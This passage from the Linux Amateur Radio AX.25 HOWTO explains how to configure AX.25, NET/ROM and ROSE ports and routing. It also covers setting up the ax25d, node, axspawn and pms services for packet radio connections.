to create the AX.25 interface with an IP address of 44.136.8.5 and an MTU of 512 bytes. You should still use the ifconfig to configure the other parameters if necessary.

If you have any other interface type then you use the ifconfig program to configure the ip address and netmask details for the port and add a route via the port, just as you would for any other TCP/IP interface. The following example is for a PI card device, but would work equally well for any other AX.25 network device:

# /sbin/ifconfig pi0a 44.136.8.5 netmask 255.255.255.0 up
# /sbin/ifconfig pi0a broadcast 44.136.8.255 mtu 512
# /sbin/route add -net 44.136.8.0 netmask 255.255.255.0 pi0a
# /sbin/route add default pi0a

The commands listed above are typical of the sort of configuration many of you would be familiar with if you have used NOS or any of its derivatives or any other TCP/IP software. Note that the default route might not be required in your configuration if you have some other network device configured.

To test it out, try a ping or a telnet to a local host.

# ping -i 5 44.136.8.58

Note the use of the `-i 5' arguments to ping to tell it to send pings every 5 seconds instead of its default of 1 second.

Prev | Home | Next
Configuring an AX.25 port |  | Configuring a NET/ROM port


Configuring a NET/ROM port

Linux Amateur Radio AX.25 HOWTO
Prev Next

8. Configuring a NET/ROM port

The NET/ROM protocol relies on, and uses the AX.25 ports you have created. The NET/ROM protocol rides on top of the AX.25 protocol. To configure NET/ROM on an AX.25 interface you must configure two files. One file describes the NET/ROM interfaces, and the other file describes which of the AX.25 ports will carry NET/ROM. You can configure multiple NET/ROM ports, each with its own callsign and alias, the same procedure applies for each.

8.1. Configuring /etc/ax25/nrports

The first is the /etc/ax25/nrports file. This file describes the NET/ROM ports in much the same way as the /etc/ax25/axports file describes the AX.25 ports. Each NET/ROM device you wish to create must have an entry in the /etc/ax25/nrports file. Normally a Linux machine would have only one NET/ROM device configured that would use a number of the AX.25 ports defined. In some situations you might wish a special service such as a BBS to have a separate NET/ROM alias and so you would create more than one.

This file is formatted as follows:

name callsign  alias  paclen   description

Where:

name

is the text name that you wish to refer to the port by.

callsign

is the callsign that the NET/ROM traffic from this port will use. Note, this is not that address that users should connect to to get access to a node style interface. (The node program is covered later). This callsign/ssid should be unique and should not appear elsewhere in either of the /etc/ax25/axports or the /etc/ax25/nrports files.

alias

is the NET/ROM alias this port will have assigned to it.

paclen

is the maximum size of NET/ROM frames transmitted by this port.

description

is a free text description of the port.

An example would look something like the following:

netrom  VK2KTJ-9        LINUX   236     Linux Switch Port

This example creates a NET/ROM port known to the rest of the NET/ROM network as `LINUX:VK2KTJ-9'.

This file is used by programs such as the call program.

8.2. Configuring /etc/ax25/nrbroadcast

The second file is the /etc/ax25/nrbroadcast file. This file may contain a number of entries. There would normally be one entry for each AX.25 port that you wish to allow NET/ROM traffic on.

This file is formatted as follows:

axport min_obs def_qual worst_qual verbose

Where:

axport

is the port name obtained from the /etc/ax25/axports file. If you do not have an entry in /etc/ax25/nrbroadcasts for a port then this means that no NET/ROM routing will occur and any received NET/ROM broadcasts will be ignored for that port.

min_obs

is the minimum obselesence value for the port.

def_qual

is the default quality for the port.

worst_qual

is the worst quality value for the port, any routes under this quality will be ignored.

verbose

is a flag determining whether full NET/ROM routing broadcasts will occur from this port or only a routing broadcast advertising the node itself.

An example would look something like the following:

radio    1       200      100         1

8.3. Creating the NET/ROM Network device

When you have the two configuration files completed you must create the NET/ROM device in much the same way as you did for the AX.25 devices. This time you use the nrattach command. The nrattach works in just the same way as the axattach command except that it creates NET/ROM network devices called `nr[0-9]'. Again, the first time you use the nrattach command it creates the `nr0' device, the second time it creates the `nr1' network devices etc. To create the network device for the NET/ROM port we've defined we would use:

# nrattach netrom

This command would start the NET/ROM device (nr0) named netrom configured with the details specified in the /etc/ax25/nrports file.

8.4. Starting the NET/ROM daemon

The Linux kernel does all of the NET/ROM protocol and switching, but does not manage some functions. The NET/ROM daemon manages the NET/ROM routing tables and generates the NET/ROM routing broadcasts. You start NET/ROM daemon with the command:

# /usr/sbin/netromd -i

You should soon see the /proc/net/nr_neigh file filling up with information about your NET/ROM neighbours.

Remember to put the /usr/sbin/netromd command in your rc files so that it is started automatically each time you reboot.

8.5. Configuring NET/ROM routing.

You may wish to configure static NET/ROM routes for specific hosts. The nrparms command enables you to do this. Again, the man page offers a complete description, but a simple example might be:

# /usr/sbin/nrparms -nodes VK2XLZ-10 + #MINTO 120 5 radio VK2SUT-9

This command would set a NET/ROM route to #MINTO:VK2XLZ-10 via a neighbour VK2SUT-9 on my AX.25 port called `radio'.

You can manually create entries for new neighbours using the nrparms command as well. For example:

# /usr/sbin/nrparms -routes radio VK2SUT-9 + 120

This command would create VK2SUT-9 as a NET/ROM neighbour with a quality of 120 and this will be locked and will not be deleted automatically.

Prev | Home | Next
Configuring an AX.25 interface for TCP/IP |  | Configuring a NET/ROM interface for TCP/IP


Configuring a NET/ROM interface for TCP/IP

Linux Amateur Radio AX.25 HOWTO
Prev Next

9. Configuring a NET/ROM interface for TCP/IP

Configuring a NET/ROM interface for TCP/IP is almost identical to configuring an AX.25 interface for TCP/IP.

Again you can either specify the ip address and mtu on the nrattach command line, or use the ifconfig and route commands, but you need to manually add arp entries for hosts you wish to route to because there is no mechanism available for your machine to learn what NET/ROM address it should use to reach a particular IP host.

So, to create an nr0 device with an IP address of 44.136.8.5, an mtu of 512 and configured with the details from the /etc/ax25/nrports file for a NET/ROM port named netrom you would use:

# /usr/sbin/nrattach -i 44.136.8.5 -m 512 netrom
# route add 44.136.8.5 nr0

or you could use something like the following commands manually:

# /usr/sbin/nrattach netrom
# ifconfig nr0 44.136.8.5 netmask 255.255.255.0 hw netrom VK2KTJ-9
# route add 44.136.8.5 nr0

Then for each IP host you wish to reach via NET/ROM you need to set route and arp entries. To reach a destination host with an IP address of 44.136.80.4 at NET/ROM address BBS:VK3BBS via a NET/ROM neighbour with callsign VK2SUT-0 you would use commands as follows:

# route add 44.136.80.4 nr0
# arp -t netrom -s 44.136.80.4 vk2sut-0
# nrparms -nodes vk3bbs + BBS 120 6 sl0 vk2sut-0

The `120' and `6' arguments to the nrparms command are the NET/ROM quality and obsolescence count values for the route.

Prev | Home | Next
Configuring a NET/ROM port |  | Configuring a ROSE port


Configuring a ROSE port

Linux Amateur Radio AX.25 HOWTO
Prev Next

10. Configuring a ROSE port

The ROSE packet layer protocol is similar to layer three of the X.25 specification. The kernel based ROSE support is a modified version of the FPAC Rose implementation.

The ROSE packet layer protocol protocol relies on, and uses the AX.25 ports you have created. The ROSE protocol rides on top of the AX.25 protocol. To configure ROSE you must create a configuration file that describes the ROSE ports you want. You can create multiple ROSE ports if you wish, the same procedure applies for each.

10.1. Configuring /etc/ax25/rsports

The file where you configure your ROSE interfaces is the /etc/ax25/rsports file. This file describes the ROSE port in much the same way as the /etc/ax25/axports file describes the AX.25 ports.

This file is formatted as follows:

name  address  description

Where:

name

is the text name that you wish to refer to the port by.

address

is the 10 digit ROSE address you wish to assign to this port.

description

is a free text description of the port.

An example would look something like the following:

rose  5050294760  Rose Port

Note that ROSE will use the default callsign/ssid configured on each AX.25 port unless you specify otherwise.

To configure a separate callsign/ssid for ROSE to use on each port you use the rsparms command as follows:

# /usr/sbin/rsprams -call VK2KTJ-10

This example would make Linux listen for and use the callsign/ssid VK2KTJ-10 on all of the configured AX.25 ports for ROSE calls.

10.2. Creating the ROSE Network device

When you have created the /etc/ax25/rsports file you may create the ROSE device in much the same way as you did for the AX.25 devices. This time you use the rsattach command. The rsattach command creates network devices named `rose[0-5]'. The first time you use the rsattach command it create the `rose0' device, the second time it creates the `rose1' device etc. For example:

# rsattach rose

This command would start the ROSE device (rose0) configured with the details specified in the /etc/ax25/rsports file for the entry named `rose'.

10.3. Configuring ROSE Routing

The ROSE protocol currently supports only static routing. The rsparms utility allows you to configure your ROSE routing table under Linux.

For example:

# rsparms -nodes add 5050295502 radio vk2xlz

would add a route to ROSE node 5050295502 via an AX.25 port named `radio' in your /etc/ax25/axports file to a neighbour with the callsign VK2XLZ.

You may specify a route with a mask to capture a number of ROSE destinations into a single routing entry. The syntax looks like:

# rsparms -nodes add 5050295502/4 radio vk2xlz

which would be identical to the previous example except that it would match any destination address that matched the first four digits supplied, in this case any address commencing with the digits 5050. An alternate form for this command is:

# rsparms -nodes add 5050/4 radio vk2xlz

which is probably the less ambiguous form.

Prev | Home | Next
Configuring a NET/ROM interface for TCP/IP |  | Making AX.25/NET/ROM/ROSE calls


Making AX.25/NET/ROM/ROSE calls

Linux Amateur Radio AX.25 HOWTO
Prev Next

11. Making AX.25/NET/ROM/ROSE calls

Now that you have all of your AX.25, NET/ROM and ROSE interfaces configured and active, you should be able to make test calls.

The AX.25 Utilities package includes a program called `call' which is a split screen terminal program for AX.25, NET/ROM and ROSE.

A simple AX.25 call would look like:

/usr/bin/call radio VK2DAY via VK2SUT

A simple NET/ROM call to a node with an alias of SUNBBS would look like:

/usr/bin/call netrom SUNBBS

A simple ROSE call to HEARD at node 5050882960 would look like:

/usr/bin/call rose HEARD 5050882960

Note: you must tell call which port you wish to make the call on, as the same destination node might be reachable on any of the ports you have configured.

The call program is a line mode terminal program for making AX.25 calls. It recognizes lines that start with `˜' as command lines. The `˜.' command will close the connection.

Please refer to the man page in /usr/man for more information.

Prev | Home | Next
Configuring a ROSE port |  | Configuring Linux to accept Packet connections


Configuring Linux to accept Packet connections

Linux Amateur Radio AX.25 HOWTO
Prev Next

12. Configuring Linux to accept Packet connections

Linux is a powerful operating system and offers a great deal of flexibility in how it is configured. With this flexibility comes a cost in configuring it to do what you want. When configuring your Linux machine to accept incoming AX.25, NET/ROM or ROSE connections there are a number of questions you need to ask yourself. The most important of which is: "What do I want users to see when they connect?". People are developing neat little applications that may be used to provide services to callers, a simple example is the pms program included in the AX.25 utilities, a more complex example is the node program also included in the AX.25 utilities. Alternatively you might want to give users a login prompt so that they can make use of a shell account, or you might even have written your own program, such as a customized database or a game, that you want people to connect to. Whatever you choose, you must tell the AX.25 software about this so that it knows what software to run when it accepts an incoming AX.25 connection.

The ax25d program is similar to the inetd program commonly used to accept incoming TCP/IP connections on UNIX machines. It sits and listens for incoming connections, when it detects one it goes away and checks a configuration file to determine what program to run and connect to that connection. Since this the standard tool for accepting incoming AX.25, NET/ROM and ROSE connections I'll describe how to configure it.

12.1. Creating the /etc/ax25/ax25d.conf file

This file is the configuration file for the ax25d AX.25 daemon which handles incoming AX.25, NET/ROM and ROSE connections.

The file is a little cryptic looking at first, but you'll soon discover it is very simple in practice, with a small trap for you to be wary of.

The general format of the ax25d.conf file is as follows:

# This is a comment and is ignored by the ax25d program.
[port_name] || <port_name> || {port_name}
<peer1>    window T1 T2 T3 idle N2 <mode> <uid> <cmd> <cmd-name> <arguments>
<peer2>    window T1 T2 T3 idle N2 <mode> <uid> <cmd> <cmd-name> <arguments>
parameters window T1 T2 T3 idle N2 <mode>
<peer3>    window T1 T2 T3 idle N2 <mode> <uid> <cmd> <cmd-name> <arguments>
   ...
default    window T1 T2 T3 idle N2 <mode> <uid> <cmd> <cmd-name> <arguments>

Where:

#

at the start of a line marks a comment and is completely ignored by the ax25d program.

<port_name>

is the name of the AX.25, NET/ROM or ROSE port as specified in the /etc/ax25/axports, /etc/ax25/nrports and /etc/ax25/rsports files. The name of the port is surrounded by the `[]' brackets if it is an AX.25 port, the `<>' brackets if it is a NET/ROM port, or the `{}' brackets if it is a ROSE port. There is an alternate form for this field, and that is use prefix the port name with `callsign/ssid via' to indicate that you wish accept calls to the callsign/ssid via this interface. The example should more clearly illustrate this.

<peer>

is the callsign of the peer node that this particular configuration applies to. If you don't specify an SSID here then any SSID will match.

window

is the AX.25 Window parameter (K) or MAXFRAME parameter for this configuration.

T1

is the Frame retransmission (T1) timer in half second units.

T2

is the amount of time the AX.25 software will wait for another incoming frame before preparing a response in 1 second units.

T3

is the amount of time of inactivity before the AX.25 software will disconnect the session in 1 second units.

idle

is the idle timer value in seconds.

N2

is the number of consecutive retransmissions that will occur before the connection is closed.

<mode>

provides a mechanism for determining certain types of general permissions. The modes are enabled or disabled by supplying a combination of characters, each representing a permission. The characters may be in either upper or lower case and must be in a single block with no spaces.

u/U

UTMP - currently unsupported.

v/V

Validate call - currently unsupported.

q/Q

Quiet - Don't log connection

n/N

check NET/ROM Neighbour - currently unsupported.

d/D

Disallow Digipeaters - Connections must be direct, not digipeated.

l/L

Lockout - Don't allow connection.

*/0

marker - place marker, no mode set.

<uid>

is the userid that the program to be run to support the connection should be run as.

<cmd>

is the full pathname of the command to be run, with no arguments specified.

<cmd-name>

is the text that should appear in a ps as the command name running (normally the same as <cmd> except without the directory path information.

<arguments>

are the command line argument to be passed to the <:cmd> when it is run. You pass useful information into these arguments by use of the following tokens:

%d

Name of the port the connection was received on.

%U

AX.25 callsign of the connected party without the SSID, in uppercase.

%u

AX.25 callsign of the connected party without the SSID, in lowercase.

%S

AX.25 callsign of the connected party with the SSID, in uppercase.

%s

AX.25 callsign of the connected party with the SSID, in lowercase.

%P

AX.25 callsign of the remote node that the connection came in from without the SSID, in uppercase.

%p

AX.25 callsign of the remote node that the connection came in from without the SSID, in lowercase.

%R

AX.25 callsign of the remote node that the connection came in from with the SSID, in uppercase.

%r

AX.25 callsign of the remote node that the connection came in from with the SSID, in lowercase.

You need one section in the above format for each AX.25, NET/ROM or ROSE interface you want to accept incoming AX.25, NET/ROM or ROSE connections on.

There are two special lines in the paragraph, one starts with the string `parameters' and the other starts with the string `default' (yes there is a difference). These lines serve special functions.

The `default' lines purpose should be obvious, this line acts as a catch-all, so that any incoming connection on the <interface_call> interface that doesn't have a specific rule will match the `default' rule. If you don't have a `default' rule, then any connections not matching any specific rule will be disconnected immediately without notice.

The `parameters' line is a little more subtle, and here is the trap I mentioned earlier. In any of the fields for any definition for a peer you can use the `*' character to say `use the default value'. The `parameters' line is what sets those default values. The kernel software itself has some defaults which will be used if you don't specify any using the `parameters' entry. The trap is that the these defaults apply only to those rules below the `parameters' line, not to those above. You may have more than one `parameters' rule per interface definition, and in this way you may create groups of default configurations. It is important to note that the `parameters' rule does not allow you to set the `uid' or `command' fields.

12.2. A simple example ax25d.conf file

Okay, an illustrative example:

# ax25d.conf for VK2KTJ - 02/03/97
# This configuration uses the AX.25 port defined earlier.

# <peer> Win T1  T2  T3  idl N2 <mode> <uid> <exec> <argv[0]>[<args....>]

[VK2KTJ-0 via radio]
parameters 1    10  *  *  *   *   *
VK2XLZ     *     *  *  *  *   *   *    root  /usr/sbin/axspawn axspawn %u +
VK2DAY     *     *  *  *  *   *   *    root  /usr/sbin/axspawn axspawn %u +
NOCALL     *     *  *  *  *   *   L
default    1    10  5 100 180 5   *    root  /usr/sbin/pms pms -a -o vk2ktj

[VK2KTJ-1 via radio]
default    *     *    *   *   *   0    root /usr/sbin/node node

<netrom>
parameters 1    10  *  *  *   *   *
NOCALL     *     *  *  *  *   *   L
default    *     *  *  *  *   *   0        root /usr/sbin/node node

{VK2KTJ-0 via rose}
parameters 1    10  *  *  *   *   *
VK2XLZ     *     *  *  *  *   *   *    root  /usr/sbin/axspawn axspawn %u +
VK2DAY     *     *  *  *  *   *   *    root  /usr/sbin/axspawn axspawn %u +
NOCALL     *     *  *  *  *   *   L
default    1    10  5 100 180 5   *    root  /usr/sbin/pms pms -a -o vk2ktj

{VK2KTJ-1 via rose}
default    *     *    *   *   *   0    root /usr/sbin/node node radio

This example says that anybody attempting to connect to the callsign `VK2KTJ-0' heard on the AX.25 port called `radio' will have the following rules applied:

Anyone whose callsign is set to `NOCALL' should be locked out, note the use of mode `L'.

The parameters line changes two parameters from the kernel defaults (Window and T1) and will run the /usr/sbin/axspawn program for them. Any copies of /usr/sbin/axspawn run this way will appear as axspawn in a ps listing for convenience. The next two lines provide definitions for two stations who will receive those permissions.

The last line in the paragraph is the `catch all' definition that everybody else will get (including VK2XLZ and VK2DAY using any other SSID other than -1). This definition sets all of the parameters implicitly and will cause the pms program to be run with a command line argument indicating that it is being run for an AX.25 connection, and that the owner callsign is VK2KTJ. (See the `Configuring the PMS' section below for more details).

The next configuration accepts calls to VK2KTJ-1 via the radio port. It runs the node program for everybody that connects to it.

The next configuration is a NET/ROM configuration, note the use of the greater-then and less-than braces instead of the square brackets. These denote a NET/ROM configuration. This configuration is simpler, it simply says that anyone connecting to our NET/ROM port called `netrom' will have the node program run for them, unless they have a callsign of `NOCALL' in which case they will be locked out.

The last two configurations are for incoming ROSE connections. The first for people who have placed calls to `vk2ktj-0' and the second for `VK2KTJ-1 at the our ROSE node address. These work precisely the same way. Not the use of the curly braces to distinguish the port as a ROSE port.

This example is a contrived one but I think it illustrates clearly the important features of the syntax of the configuration file. The configuration file is explained fully in the ax25d.conf man page. A more detailed example is included in the ax25-utils package that might be useful to you too.

12.3. Starting ax25d

When you have the two configuration files completed you start ax25d with the command:

# /usr/sbin/ax25d

When this is run people should be able to make AX.25 connections to your Linux machine. Remember to put the ax25d command in your rc files so that it is started automatically when you reboot each time.

Prev | Home | Next
Making AX.25/NET/ROM/ROSE calls |  | Configuring the node software


Configuring the node software

Linux Amateur Radio AX.25 HOWTO
Prev Next

13. Configuring the node software

The node software was developed by Tomi Manninen and was based on the original PMS program. It provides a fairly complete and flexible node capability that is easily configured. It allows users once they are connected to make Telnet, NET/ROM, ROSE, and AX.25 connections out and to obtain various sorts of information such as Finger, Nodes and Heard lists etc. You can configure the node to execute any Linux command you wish fairly simply.

The node would normally be invoked from the ax25d program although it is also capable of being invoked from the TCP/IP inetd program to allow users to telnet to your machine and obtain access to it, or by running it from the command line.

13.1. Creating the /etc/ax25/node.conf file

The node.conf file is where the main configuration of the node takes place. It is a simple text file and its format is as follows:

# /etc/ax25/node.conf
# configuration file for the node(8) program.
#
# Lines beginning with '#' are comments and are ignored.

# Hostname
# Specifies the hostname of the node machine
hostname	radio.gw.vk2ktj.ampr.org

# Local Network
# allows you to specify what is consider 'local' for the
# purposes of permission checking using nodes.perms.
localnet	44.136.8.96/29

# Hide Ports
# If specified allows you to make ports invisible to users. The
# listed ports will not be listed by the (P)orts command.
hiddenports	rose netrom

# Node Identification.
# this will appear in the node prompt
NodeId		LINUX:VK2KTJ-9

# NET/ROM port
# This is the name of the NET/ROM port that will be used for
# outgoing NET/ROM connections from the node.
NrPort		netrom

# Node Idle Timeout
# Specifies the idle time for connections to this node in seconds.
idletimout	1800

# Connection Idle Timeout
# Specifies the idle timer for connections made via this node in
# seconds.
conntimeout	1800

# Reconnect
# Specifies whether users should be reconnected to the node
# when their remote connections disconnect, or whether they
# should be disconnected complete.
reconnect	on

# Command Aliases
# Provide a way of making complex node commands simple.
alias		CONV	"telnet vk1xwt.ampr.org 3600"
alias		BBS	"connect radio vk2xsb"

# External Command Aliases
# Provide a means of executing external commands under the node.
# extcmd <cmdname> <flag> <userid> <command>
# Flag == 1 is the only implemented function.
# <command> is formatted as per ax25d.conf
extcmd		PMS	1	root	/usr/sbin/pms pms -u %U -o VK2KTJ

# Logging
# Set logging to the system log. 3 is the noisiest, 0 is disabled.
loglevel	3

# The escape character
# 20 = (Control-T)
EscapeChar      20

13.2. Creating the /etc/ax25/node.perms file

The node allows you to assign permissions to users. These permissions allow you to determine which users should be allowed to make use of options such as the (T)elnet, and (C)onnect commands, for example, and which shouldn't. The node.perms file is where this information is stored and contains five key fields. For all fields an asterisk `*' character matches anything. This is useful for building default rules.

user

The first field is the callsign or user to which the permissions should apply. Any SSID value is ignored, so you should just place the base callsign here.

method

Each protocol or access method is also given permissions. For example you might allow users who have connected via AX.25 or NET/ROM to use the (C)onnect option, but prevent others, such as those who are telnet connected from a non-local node from having access to it. The second field therefore allows you to select which access method this permissions rule should apply to. The access methods allowed are:

Method | Description
ampr | User is telnet connected from an amprnet address (44.0.0.0)
ax25 | User connected by AX.25
host | User started node from command line
inet | user is telnet connected from a non-loca, non-ampr address.
local | User is telnet connected from a 'local' host
netrom | User connected by NET/ROM
rose | User connected by ROSE
* User connected by any means.

port

For AX.25 users you can control permissions on a port by port basis too if you choose. This allows you to determine what AX.25 are allowed to do based on which of your ports they have connected to. The third field contains the port name if you are using this facility. This is useful only for AX.25 connections.

password

You may optionally configure the node so that it prompts users to enter a password when they connect. This might be useful to help protect specially configured users who have high authority levels. If the fourth field is set then its value will be the password that will be accepted.

permissions

The permissions field is the final field in each entry in the file. The permissions field is coded as a bit field, with each facility having a bit value which if set allows the option to be used and if not set prevents the facility being used. The list of controllable facilities and their corresponding bit values are:

Value | Description
1 | Login allowed.
2 | AX.25 (C)onnects allowed.
4 | NET/ROM (C)onnects allowed.
8 | (T)elnet to local hosts allowed.
16 | (T)elnet to amprnet (44.0.0.0) hosts allowed.
32 | (T)elnet to non-local, non-amprnet hosts allowed.
64 | Hidden ports allowed for AX.25 (C)onnects.
128 | ROSE (C)onnects allowed.

To code the permissions value for a rule, simply take each of the permissions you want that user to have and add their values together. The resulting number is what you place in field five.

A sample nodes.perms might look like:

# /etc/ax25/node.perms
#
# The node operator is VK2KTJ, has a password of 'secret' and
# is allowed all permissions by all connection methods
vk2ktj	*	*	secret	255

# The following users are banned from connecting
NOCALL	*	*	*	0
PK232	*	*	*	0
PMS	*	*	*	0

# INET users are banned from connecting.
*	inet	*	*	0

# AX.25, NET/ROM, Local, Host and AMPR users may (C)onnect and (T)elnet
# to local and ampr hosts but not to other IP addresses.
*	ax25	*	*	159
*	netrom	*	*	159
*	local	*	*	159
*	host	*	*	159
*	ampr	*	*	159

13.3. Configuring node to run from ax25d

The node program would normally be run by the ax25d program. To do this you need to add appropriate rules to the /etc/ax25/ax25d.conf file. In my configuration I wanted users to have a choice of either connecting to the node or connecting to other services. ax25d allows you to do this by cleverly creating creating port aliases. For example, given the ax25d configuration presented above, I want to configure node so that all users who connect to VK2KTJ-1 are given the node. To do this I add the following to my /etc/ax25/ax25d.conf file:

[vk2ktj-1 via radio]
default    *     *    *   *   *   0    root /usr/sbin/node node

This says that the Linux kernel code will answer any connection requests for the callsign `VK2KTJ-1' heard on the AX.25 port named `radio', and will cause the node program to be run.

13.4. Configuring node to run from inetd

If you want users to be able to telnet a port on your machine and obtain access to the node you can go this fairly easily. The first thing to decide is what port users should connect to. In this example I've arbitrarily chosen port 4000, though Tomi gives details on how you could replace the normal telnet daemon with the node in his documentation.

You need to modify two files.

To /etc/services you should add:

node	3694/tcp	#OH2BNS's node software

and to /etc/inetd.conf you should add:

node	stream	tcp	nowait	root	/usr/sbin/node node

When this is done, and you have restarted the inetd program any user who telnet connects to port 3694 of your machine will be prompted to login and if configured, their password and then they will be connected to the node.

Prev | Home | Next
Configuring Linux to accept Packet connections |  | Configuring axspawn


Configuring axspawn

Linux Amateur Radio AX.25 HOWTO
Prev Next

14. Configuring axspawn

The axspawn program is a simple program that allows AX.25 stations who connect to be logged in to your machine. It may be invoked from the ax25d program as described above in a manner similar to the node program. To allow a user to log in to your machine you should add a line similar to the following into your /etc/ax25/ax25d.conf file:

default * * * * * 1 root /usr/sbin/axspawn axspawn %u

If the line ends in the + character then the connecting user must hit return before they will be allowed to login. The default is to not wait. Any individual host configurations that follow this line will have the axspawn program run when they connect. When axspawn is run it first checks that the command line argument it is supplied is a legal callsign, strips the SSID, then it checks that /etc/passwd file to see if that user has an account configured. If there is an account, and the password is either "" (null) or + then the user is logged in, if there is anything in the password field the user is prompted to enter a password. If there is not an existing account in the /etc/passwd file then axspawn may be configured to automatically create one.

14.1. Creating the /etc/ax25/axspawn.conf file

You can alter the behaviour of axspawn in various ways by use of the /etc/ax25/axspawn.conf file. This file is formatted as follows:

# /etc/ax25/axspawn.conf
#
# allow automatic creation of user accounts
create    yes
#
# guest user if above is 'no' or everything else fails. Disable with "no"
guest     no
#
# group id or name for autoaccount
group     ax25
#
# first user id to use
first_uid 2001
#
# maximum user id
max_uid   3000
#
# where to add the home directory for the new users
home      /home/ax25
#
# user shell
shell     /bin/bash
#
# bind user id to callsign for outgoing connects.
associate yes

The eight configurable characteristics of axspawn are as follows:

#

indicates a comment.

create

if this field is set to yes then axspawn will attempt to automatically create a user account for any user who connects and does not already have an entry in the /etc/passwd file.

guest

this field names the login name of the account that will be used for people who connect who do not already have accounts if create is set to no. This is usually ax25 or guest.

group

this field names the group name that will be used for any users who connect and do not already have an entry in the /etc/passwd file.

first_uid

this is the number of the first userid that will be automatically created for new users.

max_uid

this is the maximum number that will be used for the userid of new users.

home

this is the home (login) directory of new users.

shell

this is the login shell of any new users.

associate

this flag indicates whether outgoing AX.25 connections made by this user after they login will use their own callsign, or your stations callsign.

Prev | Home | Next
Configuring the node software |  | Configuring the pms


Configuring the pms

Linux Amateur Radio AX.25 HOWTO
Prev Next

15. Configuring the pms

The pms program is an implementation of a simple personal message system. It was originally written by Alan Cox. Dave Brown, N2RJT, has taken on further development of it. At present it is still very simple, supporting only the ability to send mail to the owner of the system and to obtain some limited system information but Dave is working to expand its capability to make it more useful.

After that is done there are a couple of simple files that you should create that give users some information about the system and then you need to add appropriate entries into the ax25d.conf file so that connected users are presented with the PMS.

15.1. Create the /etc/ax25/pms.motd file

The /etc/ax25/pms.motd file contains the `message of the day' that users will be presented with after they connect and receive the usual BBS id header. The file is a simple text file, any text you include in this file will be sent to users.

15.2. Create the /etc/ax25/pms.info file

The /etc/ax25/pms.info file is also a simple text file in which you would put more detailed information about your station or configuration. This file is presented to users in response to their issuing of the Info command from the PMS> prompt.

15.3. Associate AX.25 callsigns with system users

When a connected user sends mail to an AX.25 callsign, the pms expects that callsign to be mapped, or associated with a real system user on your machine. This is described in a section of its own.

15.4. Add the PMS to the /etc/ax25/ax25d.conf file

Adding the pms to your ax25d.conf file is very simple. There is one small thing you need to think about though. Dave has added command line arguments to the PMS to allow it to handle a number of different text end-of-line conventions. AX.25 and NET/ROM by convention expect the end-of-line to be carriage return, linefeed while the standard UNIX end-of-line is just newline. So, for example, if you wanted to add an entry that meant that the default action for a connection received on an AX.25 port is to start the PMS then you would add a line that looked something like:

default  1  10 5 100 5   0    root  /usr/sbin/pms pms -a -o vk2ktj

This simply runs the pms program, telling it that it is an AX.25 connection it is connected to and that the PMS owner is vk2ktj. Check the man page for what you should specify for other connection methods.

15.5. Test the PMS

To test the PMS, you can try the following command from the command line: # /usr/sbin/pms -u vk2ktj -o vk2ktj Substitute your own callsign for mine and this will run the pms, telling it that it is to use the UNIX end-of-line convention, and that user logging in is vk2ktj. You can do all the things connected users can.

Additionally you might try getting some other node to connect to you to confirm that your ax25d.conf configuration works.

Prev | Home | Next
Configuring axspawn |  | Configuring the user_call programs


Configuring the user_call programs

Linux Amateur Radio AX.25 HOWTO
Prev Next

16. Configuring the user_call programs

The `user_call' programs are really called: ax25_call and netrom_call. They are very simple programs designed to be called from ax25d to automate network connections to remote hosts. They may of course be called from a number of other places such as shell scripts or other daemons such as the node program.

They are like a very simple call program. They don't do any meddling with the data at all, so the end of line handling you'll have to worry about yourself.

Let's start with an example of how you might use them. Imagine you have a small network at home and that you have one linux machine acting as your Linux radio gateway and another machine, lets say a BPQ node connected to it via an ethernet connection.

Normally if you wanted radio users to be able to connect to the BPQ node they would either have to digipeat through your linux node, or connect to the node program on your linux node and then connect from it. The ax25_call program can simplify this if it is called from the ax25d program.

Imagine the BPQ node has the callsign VK2KTJ-9 and that the linux machine has the AX.25/ethernet port named `bpq'. Let us also imagine the Linux gateway machine has a radio port called `radio'.

An entry in the /etc/ax25/ax25d.conf that looked like:

[VK2KTJ-1 via radio]
default    * * * *   *   *  *
        root /usr/sbin/ax25_call ax25_call bpq %u vk2ktj-9

would enable users to connect direct to `VK2KTJ-1' which would actually be the Linux ax25d daemon and then be automatically switched to an AX.25 connection to `VK2KTJ-9' via the `bpq' interface.

There are all sorts of other possible configurations that you might try. The `netrom_call' and `rose_call' utilities work in similar ways. One amateur has used this utility to make connections to a remote BBS easier. Normally the users would have to manually enter a long connection string to make the call so he created an entry that made the BBS appear as though it were on the local network by having his ax25d proxy the connection to the remote machine.

Prev | Home | Next
Configuring the pms |  | Configuring the ROSE Uplink and Downlink commands


Configuring the ROSE Uplink and Downlink commands

Linux Amateur Radio AX.25 HOWTO
Prev Next

17. Configuring the ROSE Uplink and Downlink commands

If you are familiar with the ROM based ROSE implementation you will be familiar with the method by which AX.25 users make calls across a ROSE network. If a users local ROSE node has the callsign VK2KTJ-5 and the AX.25 user wants to connect to VK5XXX at remote ROSE node 5050882960 then they would issue the command:

c vk5xxx v vk2ktj-5 5050 882960

At the remote node, VK5XXX would see an incoming connection with the local AX.25 users callsign and being digipeated via the remote ROSE nodes callsign.

The Linux ROSE implementation does not support this capability in the kernel, but there are two application programs called rsuplnk and rsdwnlnk which perform this function.

17.1. Configuring a ROSE downlink

To configure your Linux machine to accept a ROSE connection and establish an AX.25 connection to any destination callsign that is not being listened for on your machine you need to add an entry to your /etc/ax25/ax25d.conf file. Normally you would configure this entry to be the default behaviour for incoming ROSE connections. For example you might have ROSE listeners operating for destinations like NODE-0 or HEARD-0 that you wish to handle locally, but for all other destination calls you may want to pass them to the rsdwnlink command and assume they are AX.25 users.

A typical configuration would look like:

#
{* via rose}
NOCALL   * * * * * *  L
default  * * * * * *  - root  /usr/sbin/rsdwnlnk rsdwnlnk 4800 vk2ktj-5
#

With this configuration any user who established a ROSE connection to your Linux nodes address with a destination call of something that you were not specifically listening for would be converted into an AX.25 connection on the AX.25 port named 4800 with a digipeater path of VK2KTJ-5.

17.2. Configuring a ROSE uplink

To configure your Linux machine to accept AX.25 connections in the same way that a ROM ROSE node would you must add an entry into your /etc/ax25/ax25d.conf file that looks similar to the following:

#
[VK2KTJ-5* via 4800]
NOCALL   * * * * * *  L
default  * * * * * *  - root  /usr/sbin/rsuplnk rsuplnk rose
#

Note the special syntax for the local callsign. The `*' character indicates that the application should be invoked if the callsign is heard in the digipeater path of a connection.

This configuration would allow an AX.25 user to establish ROSE calls using the example connect sequence presented in the introduction. Anybody attempting to digipeat via VK2KTJ-5 on the AX.25 port named 4800 would be handled by the rsuplnk command.

Prev | Home | Next
